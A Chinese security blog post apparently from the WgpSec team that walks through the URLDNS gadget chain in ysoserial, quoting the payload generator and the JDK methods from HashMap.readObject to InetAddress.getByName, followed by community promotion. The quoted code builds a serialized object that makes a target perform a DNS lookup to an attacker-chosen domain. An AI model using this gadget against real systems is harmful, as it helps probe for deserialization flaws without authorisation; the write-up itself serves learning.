JAVA反序列化之URLDNS链分析

  • A+
所属分类:安全文章

点击蓝字,关注我们




本文作者:V1ntlyn(团队成员)
本文字数:1000

阅读时长:10 min

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载



前言

从之前shiro、fastjson等反序列化漏洞刚曝出的时候,就接触ysoserial的工具利用了,不过这么久都没好好去学习过其中的利用链,这次先从其中的一个可以说是最简单的利用链URLDNS开始学起。

分析

单独看URLDNS的利用链,ysoserial的URLDNS代码:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

复制到IDEA中,并导入ysoserial的jar包,当然也可以直接构建生成整个ysoserial项目,然后找到对应的java文件进行调试。

先看下整体代码:

public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

可看到代码量其实很少,这里简单介绍下getObject方法就是ysoserial调用生成payload的方法,先生成个poc并调试下,在调试配置处填入对应的测试参数: http://xxxxx.v1ntlyn.comJAVA反序列化之URLDNS链分析

我们都知道java反序列化关键就在readObject处,直接来到Hashmap类的readObject方法的putVal()下断点:

putVal(hash(key), key, value, false, false);

JAVA反序列化之URLDNS链分析

putVal方法中会调用hash方法,其中,hash方法的参数是一个java.net.URL对象,跟入hash方法

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

JAVA反序列化之URLDNS链分析

这里又调用了key的hashcode方法,而这里的key是java.net.URL对象,跟入查看URL类的hashcode方法

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}

JAVA反序列化之URLDNS链分析这里hashCode不为-1的话就直接返回了,handler是URLStreamHandler对象,继续跟进其hashCode方法。

protected int hashCode(URL u) {
int h = 0;
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
...
}

JAVA反序列化之URLDNS链分析

到这里我们发现调用了getHostAddress方法,其实到这里就已经可以不用再跟入了,整条利用链已经很清晰了。

不过为了进一步理解poc的生成,我们继续跟入下getHostAddress方法,

protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

如果hostAddress不为null的话就直接返回,这也就解释了ysoserial的URLDNS类为什么要重写getHostAddress方法直接返回null了

static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

所以,要完成这个反序列化,首先要实例化一个hashmap对象,并初始化一个URL对象,作为key放在hashmap对象中,还要设置hashcode的值为-1,才能调用到后面的getHostAddress方法从而发起dns请求。

最后简单总结下整条链:

  1. HashMap->readObject()

  2. HashMap->hash()

  3. URL->hashCode()

  4. URLStreamHandler->hashCode()

  5. URLStreamHandler->getHostAddress()

  6. InetAddress->getByName()

Reference:

https://govuln.com/attachment/627/

https://www.cnblogs.com/ph4nt0mer/p/11994384.html


白嫖邀请码


平台从3月到现在,已有5个月的时间。早期的时候我们希望通过提高注册门槛来达到精确控制高质量用户。如今通过这个办法,我们将用户总数控制在了500个人之内。但是问题也随之而来,我们每发一次活动,就会有很多小伙伴叫苦不迭:“邀请码被用光了”,“手速太快了吧”,“抢了这么多次没一次抢到”...


平台在慢慢变的成熟,承诺过的高质量知识库也已经有了成色。这里的高质量指的是不水文,不纯粹以分享工具打包工具为目的,构建一个满满的充满技术氛围的知识库。很显然,已经开始慢慢实现了... 所以为了希望有更多的小伙伴能加入到这个环境中,一起共促平台发展进步,决定开启一个“邀请码白嫖计划”!

什么?你还不知道平台是什么,点击这里了解下吧


JAVA反序列化之URLDNS链分析


扫描关注公众号回复加群,和师傅们一起讨论研究~

扫码关注我们



JAVA反序列化之URLDNS链分析


微信号:wgpsec

Twitter:@wgpsec

JAVA反序列化之URLDNS链分析

分享、在看与点赞,至少我要拥有一个吧


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: